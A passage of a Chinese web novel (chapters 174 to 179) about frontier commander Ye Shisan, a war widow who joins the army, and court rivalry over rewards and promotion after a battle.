香香郡主目光怪怪地一瞥叶十三,把话题总是往泡脚上扯。
叶十三一阵尴尬,急道:“这个当然,饭后再泡,也该好好睡一觉了。”
“那个叶腊八,是你叶家人?”
香香郡主突然话锋一转,单刀直入就是一问。
“这个……”
叶十三面上又是一红,尴尬说道:“他是我的堂哥,被贬奴籍后,发配边城在芦河湾村打席子,由于得罪了何员外……”
“行了!”
香香郡主不耐烦地一摆手,似乎并没有兴趣听叶十三说的这些。
道:“既然烽燧兵都布置好了,就不要提那些无关紧要的人了。”
此言一出,叶十三嘴角一抽。
话题还是你这个蠢货提起的,老子还没说上几句,又被你打断,如此出尔反尔,有病啊你?
就在二人等饭菜上桌的时候,卫兵来报。
“大人,沙窝地来人了。”
沙窝地?
除了何秀儿,还能有谁?
第174章 哪有女子从军入伍的先例?
果然是何秀儿。
被卫兵带入叶十三屋里的何秀儿,神情一片黯淡。
“民妇何秀儿,见过郡主,见过千户大人。”
一打照面,何秀儿低头跪下。
“何秀儿?”
香香郡主先是一惊,她没想到,何秀儿在这时候,来见她和叶十三。
准确的说,何秀儿是来见叶十三的。
“起来说话,别跪着了,又不是外人。”
叶十三一阵尴尬,对这个女人,他心中总有一种说不出的亏欠。
“民妇谢过郡主,谢过千户大人。”
何秀儿缓缓抬起头来,清秀的脸上似乎有哭过的痕迹,鬓角还插着一朵白色的纸花。
丈夫战死,搁谁身上都笑不起来。
“大人,老郑他……”
“我业已得报,郑前辈以身殉国,死的壮烈。”
叶十三摆摆手,打断何秀儿后面要说的话。
香香郡主想安慰何秀儿几句,但此时,却找不出个合适的词来,只好连喝两口茶水来掩饰自己的尴尬。
“节哀顺变!”
叶十三何尝不是?
满肚子想到的安慰之词,这时候也不知道说什么好?
这时候,香香郡主终于想起一句最体面、最能代表身份、也最能安慰阵亡将士家属的一句话来。
“人死不能复生,郑毅是为国捐躯,你有任何要求,本郡主代表朝廷,代表军部先准了。”
“民妇,要从军。”
此言一出,叶十三差点把手中的茶碗打翻。
“啊……”
香香郡主也大吃一惊,万没想到,何秀儿会提出如此要求。
银子,良田,她提都没提。
一张口,就把能代表军部和朝廷的两个将领,着实的给吓了一大跳。
一个身板都没发育完全的柔弱女子,此时居然提出要从军入伍?
“哪有女人从军入伍的先例?”
稳了稳神,香香郡主张口就是一句。
何秀儿淡定极了,低着头缓缓说道:“郡主您,不就是女人吗?”
“不也是横刀立马奔波于沙场,为边城的安宁拼杀的吗?”
说完,何秀儿又补了一句。
“可你……”
这下,没人打断,但香香郡主自己都不知道该如何去说了?
倒是叶十三还算沉着,极力稳了稳神,淡淡说道:“郡主自幼习武,又是朝廷派下的监军,而你就不同了,依我看,拿一笔抚恤金,日后还是好好过日子吧!”
“日后?”
何秀儿抬起头来,一脸茫然地说道:“民妇的日后,千户大人是指什么?”
改嫁?
还是关起门来守寡?
这一问,叶十三顿觉自己无法自圆其说。
苦冥片刻,硬着头皮又道:“据我所知,边军还没有女子入伍的先例。”
“既然没有,那就自民妇起始。”
平日里,在叶十三面前唯唯诺诺的何秀儿,此时神态自若,态度坚定得让叶十三不免一阵慌乱。
“郡主不是都已经答应过民妇了吗?难道,这又怕民妇吃一份粮饷了?”
干脆,何秀儿将了香香郡主一军,让这个金口玉言的郡主,丢不起方才慷慨激昂的承诺时的这个人。
“可你能具体做些何等事务?”
香香郡主一阵为难,瞥了叶十三一眼又道:“无论是各村驻军,还是烽火台烽燧兵,或者是北防军常备军,都是清一色男子,要是准你入伍,这衣食住行就是个麻烦,本郡主劝你还是莫要意气用事,就是给郑毅报仇,那也是军伍责无旁贷的义务,作为阵亡将士的家属,还是拿着抚恤金过安生日子吧!”
“放眼千里边城,民妇还有安生日子可过吗?”
和秀儿语气平淡,缓缓又是一问。
迎着香香郡主尴尬的目光,何秀儿淡淡又道:“郡主不也是住在这营房里的吗?不也是和这么多清一色的男兵为伍的吗?”
此时一点都不胆怯的何秀儿,把香香郡主给问得无言以对。
叶十三面颊一抽,知道何秀儿已经是铁了心的。
一个外表柔弱的女子,内心却是十分的倔强。
“那你说说!”
叶十三抬起头来,怔怔望向何秀儿。
道:“就眼下军中,你能干些何等事务?”
“是啊!”
香香郡主也是眼前一亮,抓住叶十三的话头,道:“弓马骑射,长途奔袭,负重跋涉,这些都是男人干的事,就是灶间干个火头军,那也是背锅搬粮的力气活,就你这身板,如何能行?”
“郡主有所不知!”
何秀儿迎着香香郡主的目光,缓缓又道:“这次敌袭,造成我大夏兵士死伤无数,兵士们在奋力拼杀,民妇也没闲着,和韩家嫂子忙于救助伤兵,包扎止血,正骨复位的这等轻伤,民妇已经从韩家嫂子那里学得许多,现已颇有经验。”
韩老三婆娘?
那个壮实泼辣的女人,在叶十三脑海立即浮现出来。
军户韩老三的婆娘,是懂一些应急处理伤情的办法。
眼下是没有随军郎中,只有兵士们自行处理一下伤势。
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!叶十三心头一喜,但麻烦又来了。
行军打仗,一路风餐露宿。
一个女人还真不方便。
香香郡主是谁?
那是当朝权臣肃王的掌珠,而且身负监军之职,出行有卫兵,食宿有侍婢,哪是你一个普通兵卒能比及的?
“还有!”
趁着叶十三和香香郡主发愣,何秀儿又道:“千户大人军务繁忙,身边也得有个勤务之人,民妇之前就在这营房待过,无非不是在编兵数而已。”
勤务兵?
卫生员?
这些都是前世现代的名词。
香香郡主沉思片刻,抬头又道:“眼下战事不断,战火也许会蔓延到更多的地方,不是一个营房可以长久的。”
“前朝木兰替父从军,今有民妇替丈夫杀敌,这有何不可?”
何秀儿激动起来,声调随即也就高了几分。
香香郡主呼吸一窒,把目光投向叶十三脸上。
一阵头大的叶十三,双手使劲地揉着两侧的太阳穴。
“冲锋陷阵,你还真不合适。”
终于,叶十三硬挤出了一句说得过去的话。
“要说勤务嘛!”
叶十三停顿片刻,又道:“暂且留在本将身边,料理一些简单的事务也无可厚非。”
“谢千户大人!”
香香郡主单腿跪地,向兵卒那样向叶十三行了个军礼。
这时候,香香郡主美眸一翻,吃惊道:“眼下营房铺位急缺,你一个女人,该如何安排住宿?”
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第175章 郡主赐甲
衣,食,住,行!
除了这住,其它的都没大碍。
就眼下,如何安排何秀儿的住处?
可真是个让人头疼的事。
既然是给叶十三这个军中统帅做勤务,那就得不离左右。
可隔壁的屋子,已经被香香郡主几个占着。
就这,两个女仆和紫伶,还是在墙角打地铺的。
就在此时,紫伶端着饭菜进屋。
何秀儿相当有眼色,赶快从地上起来,从紫伶端着的盘子中,取出饭菜摆在桌上。
“郡主,大人,赶快趁热吃!”
就是没人招呼一声,饿极了的二人也不再矜持,抓过筷子就伸向饭菜。
在一碗白粥下肚,半碗油汪汪的猪肉片子,被香香郡主一扫而光后,香香郡主抬起头来,笑道:“还是烤马肉好吃,猪肉太肥腻了。”
草!
叶十三差点,把刚喝到嘴里的白粥喷出来。
一个吃肉都闻不得腥膻的女人,居然喜欢上了腥气扑鼻的马肉?
就边城的肉食里面,最难吃的就是干巴巴的马肉。
吃马肉,那是不得已而为之。
病马,伤马和死马,在缺少食物的军营中,那是舍不得埋掉的。
骨肉被食后,马皮还可以制成皮革使用。
与牛羊肉相比,马肉就差劲多了。
倒是猪肉,在这边城,那可是稀缺之物。
周敬堂为了巴结香香郡主,可没少费心思,可香香郡主还嫌猪肉片子太过油腻。
昨夜,为了鼓舞士气,香香郡主鼓起勇气吃了几口烤马肉。
这一先河,开得香香郡主反而,克服了自己胃口对这种低等食物的排斥。
望着何秀儿一身旧棉服,香香郡主把目光投向一旁候着的紫伶,道:“把本郡主的那套革甲给她。”
“郡主,那可是您练剑时穿的。”
紫伶一惊,没想到香香郡主会把自己备用的一套用来训练时所穿的革甲,会送给一个边城的底层军户家的女人。
“去啊!聋了?”
香香郡主知道紫伶舍不得,愠色就是一句。
“奴婢遵命!”
不大时候,紫伶去而复返,从来时携带的一只包裹中,拿出来一套革甲。
革甲,那是最底层的兵士所用的军备。
只比战时辎重运输的民夫所穿的藤甲好一点而已。
但身为郡主,所用革甲那就大不一样了。
普通革甲,大多采用马皮,牛皮制成。
但所用牛皮,多为黄牛皮或者是牦牛皮,经熟制后做成战甲。
香香郡主的这套革甲,乃是采用上等水牛皮所制,做工精细不说,而且轻巧坚韧,遇水而不生硬。
当紫伶抖开革甲的那一瞬间,就连叶十三都瞪直了眼睛。
这傻白甜,可真舍得?
“还不快快谢过郡主赐甲之恩?”
叶十三目光投向何秀儿,急切地提醒一句。
何秀儿一怔,随即又在地上跪了。
“小的,谢过监军大人。”
说完,何秀儿伸出双手,恭恭敬敬地从紫伶手中,接过那套价值不菲的革甲。
草!
这婆娘,反应倒是不慢!
这一下“郡主”直接变成“监军大人”了?
而且,“民妇”也变成“小的”了。
“你我身材差不多,应该穿了合身的。”
香香郡主一脸慷慨,一副毫不在意的样子,甚至还有一种施舍别人的成就感。
只有叶十三赶快低下头来吃饭,心里却是嘀咕个不停。
身材差不多?
屁!
何秀儿明明比你稍矮那么一点,更要紧的是何秀儿的发育,压根和你不在一个标准上。
你身为郡主,从小吃香喝辣,锦衣玉食伺候着,就该发育部位的尺码,都远甩何秀儿几条街都不止。
只是何秀儿身上棉衣臃肿,这才看起来周身的粗细倒是相仿而已。
就在叶十三暗自嘀咕个不停的时候,此时的何秀儿,已经扎紧了棉衣,在紫伶的帮助下,把那套革甲穿戴整齐。
这一番捯饬,还真有三分英姿飒爽的味道。
“坐下吃点!”
没话找话的叶十三,筷子一指桌旁的椅子,又道:“忙了一夜,又从沙窝地赶这边过来,想必肚子也是饿了。”
“小的不敢,小的和紫伶一起吃就行了。”
何秀儿还是懂礼数,并没有和香香郡主同桌坐下。
“你也辛苦,退下吧!”
香香郡主摆摆手,示意紫伶与何秀儿二人都退下。
隔壁屋子,两个壮妇也摆好了饭食,她们只能和紫伶一起用饭。
待二人退下,香香郡主这才把视线,又投在叶十三脸上。
“战事一起,马成也就更忙了,留下何秀儿跟着,也好侍奉你的起居。”
香香郡主这次没有多想。
可叶十三就不一样了,心里一直扑腾个不停。
郑一刀是死了,这何秀儿又回来了。
自从何秀儿出阁前,被他摁在炕上有过那么一次,这个女人的影子,时不时就在他脑海中闪现。
虽然那次急急了了,且又毛毛躁躁,但毕竟是他给把何秀儿的生瓜给破了。
这章没有结束,请点击下一页继续阅读!眼下,何秀儿又回到营房,成了他的一名亲兵。
但总不能让何秀儿和马成他们一起滚大炕吧?
不能,就是背出去扔野地喂狼,也不让一帮子男人和何秀儿混居一起。
至于晚间如何安排,眼下事情颇多,顾不得考虑晚上的事。
“这饭,味道不错!”
心不在焉的叶十三,答非所问,张口就夸赞两个壮妇的厨艺。
“那当然了!”
香香郡主剜了叶十三一眼,颇为自豪地说道:“周敬堂这人,还挺上道的,知道把本郡主巴结好了对他有利。”
“你们,是他在朝中的靠山吧?”
吃了一口菜的叶十三,冷不丁就是一句发问。
“你不是也有靠山的吗?”
香香郡主没有直面回答叶十三的问话,抬头就是一句反问。
“我?”
叶十三嘴角一扬,撇嘴道:“要说真有靠山,那就是我手中的刀,只有刀,才能保我安然无恙。”
“岳佟难道不是?”香香郡主又是一问。
“他?”
叶十三摆摆手,摇头道:“还真不是,只是他觉得我能杀敌而已,比他身边的那些饭桶,起码要强上那么一些。”
“那我做你的靠山好了?”
香香郡主美眸一转,死死盯着叶十三的脸。
叶十三差点,又把一口饭菜喷了出来。
“想让我投靠你爹?”
“你?”
香香郡主把筷子,狠狠往往桌上一拍,愠怒道:“说话不要如此难听好吗?亏你还是读过圣贤书的人。”
圣贤书?
呸!
这个狗屁世道,什么书都不如手中有刀好使。
“算了!”
吃饱了肚子的叶十三,也把筷子往桌上一拍,淡淡说道:“请恕叶某人不敢高攀,这打打杀杀的事,还挺适合我的,谁要我死,我就让他先死,这多痛快!”
“你不想想以后吗?”
香香郡主倒也不恼,语气平静地又是一问。
“以后?”
叶十三嘴巴一撇,笑道:“我这种人,还有以后?”
“任何人都有以后,没人可以例外。”
香香郡主很是笃定,端起茶杯喝了一口,就冒出一句似乎很有哲理的一句话。
“那郑一刀他,有以后吗?”
叶十三不按套路出牌,刁钻地提起了郑一刀。
“混蛋!”
受到戏弄的香香郡主,手中的茶水差点就泼了过来。
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第176章 大人,援军到了
叶十三越来越怀疑,这个香香郡主,就像是很熟悉他一样。
不过,要是他一动脑子拼命地想以前的事,这脑仁就疼。
面对似曾相识的这个傻白甜,叶十三只有暂时放弃对她的进一步挖掘。
就在叶十三陷入一阵苦冥的时候,大地突然震动起来。
“大人,援军到了。”
一名兵卒急匆匆进来,向叶十三禀报大军到了。
“快,和本将出去看看!”
叶十三站了起来,绕过桌子就往外走。
“就这点底气?”
香香郡主不屑地一瞥叶十三,轻蔑说道:“就是岳佟派兵过来,那也是他们参见你我,你可倒好,贱嗖嗖的要去迎接人家。”
此言一出,把何秀儿为难当场。
她也觉得,香香郡主说的有些道理,镇上派兵过来,理应是向叶十三报到,而不是让这个最高统帅去迎接他们。
思忖片刻,何秀儿还是急急跟了出去。
因为,她此时,已经是叶十三的兵。
“混蛋,等等我。”
看到连何秀儿都奔了出去,再是矜持,香香郡主也坐不住了。
出了屋子,香香郡主看到,一大队兵马气势壮观,已经向营房奔来。
叶十三和袁彪,此时已经迎在营房栅栏门外面。
旌旗猎猎之下,马蹄踩得积雪翻飞。
奔在大队兵马最前面的,却是马成和周钊跟随左右的岳佟。
这老东西?
亲自带兵马来了!
香香郡主心头一沉,她万没想到,岳佟会亲自来黄羊岘防区。
整整五千兵马,浩浩荡荡声势不小,转眼间就来到营房外的荒滩上。
“末将叶十三,恭迎大将军。”
“末将袁彪,见过大将军。”
见是岳佟到了,叶十三和袁彪飞奔上前,纷纷向岳佟行礼。
“免礼!”
端坐马背上的岳佟,伸手虚抬一下,示意二人不用多礼。
然后,岳佟目光望向出了屋子,已经来到营房院子的香香郡主,翻身下马前行几步,拱手礼道:“岳佟见过郡主。”
“车骑大将军这是打扫战场,还是来慰问作战将士?”
一见岳佟,香香郡主不免尖酸刻薄一番。
“当然是给郡主贺喜了!”
岳佟老脸一红,讪笑道:“听闻郡主亲自上阵杀敌,且大获全胜,末将这不赶来道贺哪行?”
香香郡主嘴角一扬,讥笑道:“看来,岳大将军眼里只有战绩,从来看不到战败的一面,如此好大喜功,让阵亡的那些将士英魂何安?”
这傻妞!
可啥话都敢说。
叶十三心里,不免为香香郡主竖了个大拇指。
经过狼嚎岭地界时,那一战当然赢的漂亮。
可黄羊岘就不同了,郑一刀战死,田兵几乎被团灭殆尽,就是袁彪的北防军,也小有折损。
但歼灭的鞑子兵数,才是自己人伤亡的一半。
好在战事一起,屯田村的村民们,扶老携幼转移及时,这才避免了被屠村的惨祸。
面对香香郡主的讥讽,岳佟下了马,毫不在意地走向营房。
“大将军请!”
叶十三往一侧站了,把岳佟让在前边。
“屯田村防务可曾受损?”
目光一瞥袁彪,岳佟的脸色就阴沉下来。
“大将军恕罪!”
袁彪面颊一抽,低头道:“鞑子来势凶猛,且又不是从一处来犯,采用游击战四处袭击,我军……”
“够了!”
岳佟勃然大怒,进的屋子后并没落座,而是怒目看向袁彪。
“怎么?”
岳佟在看向袁彪的时候,目光突然捕捉到何秀儿的存在。
“防区何时有了女兵?”
是啊!
何时有了女兵?
袁彪这才看到,何秀儿穿着一身革甲,站在叶十三身后。
这一问,让叶十三心头一沉。
不料,香香郡主不乐意了。
“难道,军营就不能有女兵了?”
此言一出,岳佟拱手道:“郡主明鉴,我北防军确实没有招募女兵的先例,更是禁止女人进入军营。”
“哦!”
香香郡主似有所悟,恍然道:“本郡主原来是男儿身,这一点,连本郡主自己都忘了!”
此言一出,叶十三都差点笑出声。
这傻白甜,有时候也是蛮可爱的嘛!
“郡主可以例外,郡主毕竟不是北防军的一员,故不在禁令之中。”
岳佟神色镇定,对香香郡主的嘲讽,并不是很恼火。
但香香郡主可是不依不饶。
“敢问岳大将军,黄羊岘防区兵马教头郑毅为国捐躯,他的家属,按照朝廷的抚恤条令,应不应该得到照顾?”
“怎么?”
这下,岳佟不淡定了。
“郑毅他,阵亡了?”
岳佟的惊讶,这可是不带装假的。
“难道郑毅是诈死不成?”
香香郡主的口气,一下子就凌厉起来。
望着一脸悲怆的岳佟,又道:“郑毅新婚不足一月,为了守土戍边,昨夜战死在黄羊岘防区的岘口,一同壮烈的,还有百十数田兵和新丁,怎么,岳大将军运筹帷幄,就没想到,会发生鞑子骑兵多方进犯的战术?”
小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!说完,香香郡主在桌子后面坐了下来。
那椅子,本来是要让给岳佟落座的。
“岳佟,你可知罪?”
“郡主……”
“这里没有什么郡主,只有监军郑香逸。”
香香郡主粉脸陡变,目光冷冷看向岳佟,厉声又道:“本监军记得,昨日烽火警讯之时,黄羊岘防区守将叶十三,曾经当着本监军的面,向你请求出兵增援之事,你是如何回答他的?”
这一问,岳佟脑门霎时见汗。
“好在元蒙敌贼损失惨重,及时退回国界线外,倘若黄羊岘失守落入元蒙手中,你这个车骑大将军,还有脸在此指手画脚?”
这一问,又让岳佟张口结舌。
“郡主息怒!”
叶十三站了出来,拱手说道:“元蒙鞑子屡犯边城,这也不是一次两次了,我守军也无法准确判断敌贼是骚扰还是向内地进兵?”
“这不,大将军亲自带兵前来,目的就是在一线坐镇,和防区将士,共同研讨敌贼的用兵意图。”
说完,叶十三又补充一句,也算是为岳佟解围。
“叶将军此言不虚,本帅正有此意,这才随大军前来驻防一线。”
岳佟老脸红到了脖子根,还得拱手一礼解释一番。
“方才郡主所说,关于郑毅家属的抚恤一事,这个,就交给叶将军全权负责了。”
给自己找个台阶,借驴下坡才是眼下最主要的。
“那么,你算是答应了?”
香香郡主步步紧逼,言辞凿凿又是一问。
“当然答应了,对有功之人,怎么做也不为过。”
岳佟把胸一挺,回答的底气十足。
香香郡主把视线,从岳佟脸上,缓缓转移到何秀儿身上。
“既然岳大将军发了话,你还不赶快谢过岳大将军的招募新条令?”
此言一出,叶十三都不禁暗暗吃惊。
这傻白甜,绕了半天,原来是给岳佟挖了个坑。
在岳佟一头雾水的吃惊下。
何秀儿上前两步,向岳佟单腿跪地,拱手道:“屯田村郑毅遗孀,见过车骑大将军。”
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第177章 驸马、世子?
“各位将军,请用茶!”
紫伶及时地提了茶壶过来,把几只茶碗往桌上一摆。
“你退下!”
香香郡主一摆手,示意紫伶退下。
叶十三却向紫伶投去欣赏的一瞥。
这个侍婢,越来越懂事了。
可能是由于香香郡主的缘故,这个侍奉主子的奴才,不再像之前那般轻狂。
挥退紫伶,香香郡主正准备找些词来继续数落岳佟。
又有卫兵来禀。
“启禀郡主,叶将军,苏哲回来了。”
苏哲回来?
卫兵又道:“万川郡北防军穆顺将军,带着兵马和苏将军一起到了外面。”
“监军大人,镇上军部有的是兵马,您如何又调拨万川郡的兵马来末将防区?”
这下,岳佟不淡定了。
原本不属于一个防区的兵马,被调拨到同一处布防,这个确实有些不合时宜。
“岳大将军错了!”
香香郡主面上浮起一丝讥笑,道:“你别忘了,叶将军手头有的是兵马,虽然岳大将军舍不得自己的兵马,支援叶将军的防区御敌,叶将军只好舍近求远,行使自己手中的调兵权了。”
此言一出,岳佟脸上挂不住了。
如果叶十三真是如此,那么,就是没有把他这个上司放在眼里。
就是他当初拒绝了派兵,那也不是跨区调动兵马的理由。
香香郡主这一通说辞,可真是一石二鸟。
既打击了岳佟的气焰,又给岳佟敲了个警钟。
让他别忘了,这个叶十三,此时是和她这个郡主站在一起。
也就是说,如此一来,不亚于给岳佟和叶十三之间,巧妙地制造了个间隙。
来边城的目的,就是奔着瓦解镇北王势力来的。
所以,香香郡主不放过任何一次制造这种间隙的机会。
不料!
叶十三站了出来,向岳佟拱手道:“大将军息怒,末将以为,元蒙方面这次会采用一些非常规的战术,我军的防务,不应该集中在一处,整个北方线,任何一段都不敢掉以轻心,故而末将对部署做了相应的调整,不敢让大将军把兵力重心,偏移到黄羊岘防区。”
如此一说,岳佟暗暗松了一口气。
“那就有请穆顺将军!”
岳佟自己找了个台阶,借着叶十三的话,表示乐意联防。
穆顺在苏哲的带领下,昂首进入屋子,目光看向叶十三后,当即单腿跪地。
“穆顺见过郡主,见过岳大将军,见过叶将军。”
这一礼,顺序严谨。
但穆顺心中的位置,不用言明,那当然是以叶十三为尊了。
他和岳佟,只能说是镇北王吕南庭一手带出来的人。
但在眼下的从属关系上,是归叶十三统领。
“穆兄,好久不见!”
岳佟拱手一礼,笑呵呵表示出来同伍的亲热。
“起来吧!”
没等香香郡主摆出监军姿态,叶十三淡淡一句,示意穆顺起来说话。
“谢叶将军!”
穆顺起身,立在岳佟一侧。
“周兄安好!”
待站定后,穆顺拱手又向身边的周钊一礼。
“穆将军辛苦了。”
周钊笑笑,拱手又道:“联通防务,还望穆将军多多关照。”
在场的人都明白,两路北防军,各自被抽调出一万兵马,然后又分为两处,每处五千兵数与对方共同布防。
如此一来,不但拉近了两路北防军之间的距离,同时也起着相互监督的作用。
这一手,叶十三玩得溜滑。
如此一来,叶十三无形之中就占据了统帅的位置。
只有岳佟心头不太踏实。
要是推一把,叶十三就会走向对立面,成为肃王在边城的新势力。
这要是顺其自然地拉一把,那么自己这边的力量,就会由万川郡这支兵马的加入,更加强大起来,毕竟谭祖高已经死了,这支兵马重新倾向镇北王这边。
在这边城,他岳佟,就是镇北王吕南庭的代言人。
如此一想,岳佟目光一扫眼前众将领,沉声道:“眼下战局复杂,我防线万不可轻心大意,此战虽然我军伤亡惨重,但叶将军却又立新功,实属可贺!”
实属可贺?
要不是顾忌身份,香香郡主依照脾气,差点就蹦了起来。
死伤那么多,这冷冻寒天的,百姓居无定所,还实属可贺?
报喜不报忧,难道这就是你军部的一贯作风?
就在这时候,岳佟沉声又道:“马成何在?”
“小的在。”
随着应声,马成怀里,捧着那把叶十三奖励给他的那把刀,快步走来进来。
“给大家看看!”
“遵命!”
马成把怀里捧着的那把大刀,双手捧着在众将领面前缓缓走过。
这不就是在破庙,被叶十三一箭射死的那个鞑子骑兵身上的佩刀吗?
香香郡主斜瞥一眼马成捧着的刀,轻蔑地收回了视线。
叶十三也是习以为常,并没有表示出多大的惊讶。
这把刀,还是他亲自赏给马成的。
本小章还未完,请点击下一页继续阅读后面精彩内容!可穆顺就不同了,眼睛紧盯着那刀是刀柄,瞳孔突然一阵紧缩。
“那木儿?”
穆顺神情一震,目光看向岳佟,惊道:“那木儿被诛了?”
岳佟笑而不答,把目光投向叶十三脸上。
看老子干什么?
不就射死了一个鞑子骑兵,缴获了一把华而不实的战利品而已,至于让你们这些鸟人如此惊奇吗?
穆顺一把从马成手里抓过那把刀。
“仓啷!”
刀被穆顺抽出刀鞘,刀身泛起的一道寒光,就从众将眼里一闪而过。
“没错,就是它。”
穆顺面颊一阵急抖,左面额角一条二寸长的紫红伤疤,也由眉头的抽搐,而抖动个不停。
“那木儿,你也有今天!”
情绪激动起来的穆顺,炯炯目光投向叶十三,道:“末将谢过叶将军,这一刀之仇,在末将心头足有十年了,今日借叶将军之手得报,末将谢了。”
“这,那木儿是何人?”
香香郡主美眸一转,把目光投向穆顺。
“回郡主话!”
穆顺把刀递回马成手中,继续说道:“这那木儿,就是元蒙大金盟部,王爷木桑的金刀驸马,也是元蒙巴立盟世子,图海王爷的第四个儿子。”
驸马、世子?
“啊,你认得他?”
香香郡主一下子来了兴致,一副打破砂锅问到底的架势。
“何止认得!”
穆顺面颊一抽,老脸一红,讪讪说道:“老对头了,这狗贼当年一刀,差点送末将去投胎。”
“啊……”
香香郡主大吃一惊,差点就笑了出来,这才看到,穆顺额角的那一条蚯蚓一样的刀疤。
“奇怪!”
香香郡主一怔之下,又道:“如此显贵的身份,何故一身铁甲在身?”
没错,这等身份,战甲最次也是银甲。
要是元蒙皇子出征,非金甲不上身的。
“这有何奇怪的!”
叶十三站了出来,斜瞥一眼香香郡主,笑道:“你贵为郡主,不也穿过何秀儿的棉袍吗?”
看到香香郡主如此振奋,岳佟拱手又道:“叶将军如此战功,郡主您看?”
“看什么看?”
香香郡主眉色飞舞,急道:“你身为军部统帅,如何嘉奖作战兵将,还要问本郡主不成?”
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第178章 怀远将军
面对香香郡主的不悦,岳佟倒是出奇地镇定。
“嘉奖兵将,本帅责无旁贷,可叶将军这次斩杀的,却非一般敌贼,郡主既然来了边城,可代表朝廷嘉奖作战兵将们岂不更好?”
老狐狸,这球踢得漂亮。
如此一来,把这个棘手的问题,一脚踢向香香郡主。
当初杀敌,是她亲口许诺给兵将们有赏的。
但那只是对卫兵们杀敌的一个鼓励。
万没想到,在围攻破庙的鞑子骑兵里面,居然还有一个身份如此显赫的金刀驸马那木儿?
如此一来,斩杀敌贼中的皇族,那可是无比显赫的战功一件。
按理说,她这个郡主,也是有一份功劳可沾的,理应上报朝廷才是。
“依本郡主看,还是由岳大将军嘉奖好了!”
这下,香香郡主居然谦逊了起来,口气也带着一丝扭捏。
杀死铁甲一名者,嘉奖田十亩,银五十两,糙米一百石,军职晋一级。
杀死铜甲一名者,嘉奖水田百亩,银五百两,粳米五百石,军职晋三级……
依照前例,参考朝廷的嘉奖令来看。
这金刀驸马那木儿,也是银甲级别了,叶十三少说也能得赏银两千两。
田亩不说,就军职而言,连升三级也是绰绰有余。
看来,这次岳佟亲自前来,一定是有所准备的。
晋升叶十三军职的机会,他岂能让给香香郡主来落这个天大的人情?
姜,还是老的辣。
香香郡主这一谦让,正中了岳佟的意图。
“黄羊岘防区下千户叶十三,戍边之时战功显赫,斩杀敌军银甲将领那木儿,缴获其指挥战刀一把,按大夏戍边嘉奖令,授叶十三怀远将军职。”
怀远将军?
这可是从四品军职啊!
一个从六品千户,而且还是个下千户虚职,一下子被擢升为怀远将军?
这初授怀远将军,以后还会升授定远将军,最后加授安远将军这些正四品军职,和一个从六品之间,差的可不是三级啊!
如果再立战功,加授定远将军后,就有望上升到大将军的军职了。
一个千户,哪怕是万户,也无非就是兼管地方事务的中下等军职而已。
岳佟这一下,直接把这之间的从属级别跨越了过去。
此言一出,众将领面上一惊,但又心头一喜。
如此一来,北防军中的实权将领又多了一个,与朝中其他势力的抗衡,又加持了一层分量。
“恭喜叶将军,贺喜叶将军。”
周钊率先双拳一抱,笑着向叶十三道贺。
穆顺更是不失时机,拱手道:“将军战功显赫,理由受此晋升。”
将荣兵贵,这个道理他懂。
苏哲偷瞥香香郡主一眼,抱拳也道:“末将祝贺叶将军擢升。”
香香郡主愣了,还没回过神来,看到岳佟又有话要说的样子。
“参战卫兵,亦可受到嘉奖。”
说着,岳佟目光看向苏哲,又道:“狙击敌贼,杀死犯我边境革甲、铁甲,不按人头划分,所有参战兵士,赏银十两,良田十亩,由原籍地方衙门划拨。”
“另有卫兵统领苏哲,马成二人,各奖励赏银五十两,良田百亩。”
这一下,高明。
大多数革甲铁甲,都是叶十三所杀,但卫兵中的步弓手,趟子手们都功不可没。
包括抱柴点篝火的伤兵们,也都能得到一份嘉奖。
作为这些卫兵统领苏哲,赶忙单膝下跪,道:“末将谢过岳大将军。”
岳佟摆摆手,目光又看向捧着那把刀柄镶满了宝石的大刀,笑道:“此刀,虽然是叶将军奖赏与你,但那木儿身份特殊,这份战利品,还是上交朝廷为好。”
上交朝廷?
就是不上交朝廷,知道了这刀身份后,马成也不敢拿着使用。
“小的,听大将军令。”
马成赶忙跪了下来,双手把刀举过头顶,恭恭敬敬地献了出去。
这下,只有香香郡主脸绿了。
所有参战兵卒,都有赏银可领,唯独她这个参战人员,却是什么都没被提到。
呸!本郡主还给他们烤过马肉的,这就啥都没有?
堂堂郡主,又是监军,如果开口讨要嘉奖,岂不是让人笑掉大牙?
不过,既然岳佟代表军部,向兵卒们进行了嘉奖,那她做出的那些承诺,自然就不算数了。
她的承诺,本身就代表着朝廷。
军部的嘉奖,也是朝廷的嘉奖。
但这个风头,让岳佟给占了。
拿了奖励的兵卒们,都对岳佟感激不尽。
老狐狸,这下又让你这老东西抢先一步了。
香香郡主被气得大姨妈都差点提前,但面上还是笑意盈盈,拱手向叶十三说道:“可喜可贺,大家拼命杀敌,朝廷是不会忘了大家的战功的。”
混蛋!
好处都让你一人得了,回头你得给本郡主补上一份。
不然,姑奶奶跟没完。
叶十三脸上挂着笑意,拱手还礼道:“都是兄弟们同仇敌忾,这才有如此战绩可创,同喜同喜。”
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嘉奖完叶十三一行,岳佟的神色又冷了下来。
“袁彪听令!”
“末将在。”
袁彪心头一沉,忐忑不安地看向岳佟。
“你协防黄羊岘防区期间,地方兵士伤亡惨重,念你部也歼灭敌贼数量客观,对你就不军法从事了。”
这一棒子,岳佟打在了袁彪头上。
可以说,这是在替他这个统帅代为受过。
不然,就香香郡主这里,也不好交代。
这个监军,还真不是摆设。
就凭人家率部亲自杀敌,作为边城最高统帅的岳佟,也不得不重视起来。
“谢大将军宽恕!”
心知肚明的袁彪,对岳佟一躬到底。
“田兵和新卒,所有阵亡者,每兵数抚恤金加银五两。”
岳佟终于提到对那些战死的兵卒们的抚恤了。
思忖片刻,岳佟又把目光,重新投向何秀儿脸上。
“找一把分量轻些的短刀来!”
岳佟的目光盯着何秀儿,话却是对周钊说的。
不一刻,周钊拿着一把尺寸稍短的佩刀进来。
“给她吧!”
岳佟把目光,从何秀儿脸上挪开,摇头道:“本帅愧对郑毅啊!”
说完,岳佟摆摆手,目光一扫众将领。
“袁彪部留在此地,其余人即刻准备,半炷香后开赴黄羊岘屯田村。”
此言一出,所有人都去作准备,正式进驻黄羊岘屯田村重新部署。
香香郡主也不例外,从桌后起身,去隔壁屋子让紫伶们收拾东西。
此时,屋里只剩叶十三和岳佟二人。
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第179章 馊主意
岳佟的脸,沉了下来。
盯着叶十三片刻,岳佟在桌后坐了下来。
“你要明白,军职越高,肩上的胆子越重。”
“末将谨遵大将军教诲!”
叶十三立在桌旁,一脸恭敬地望着岳佟。
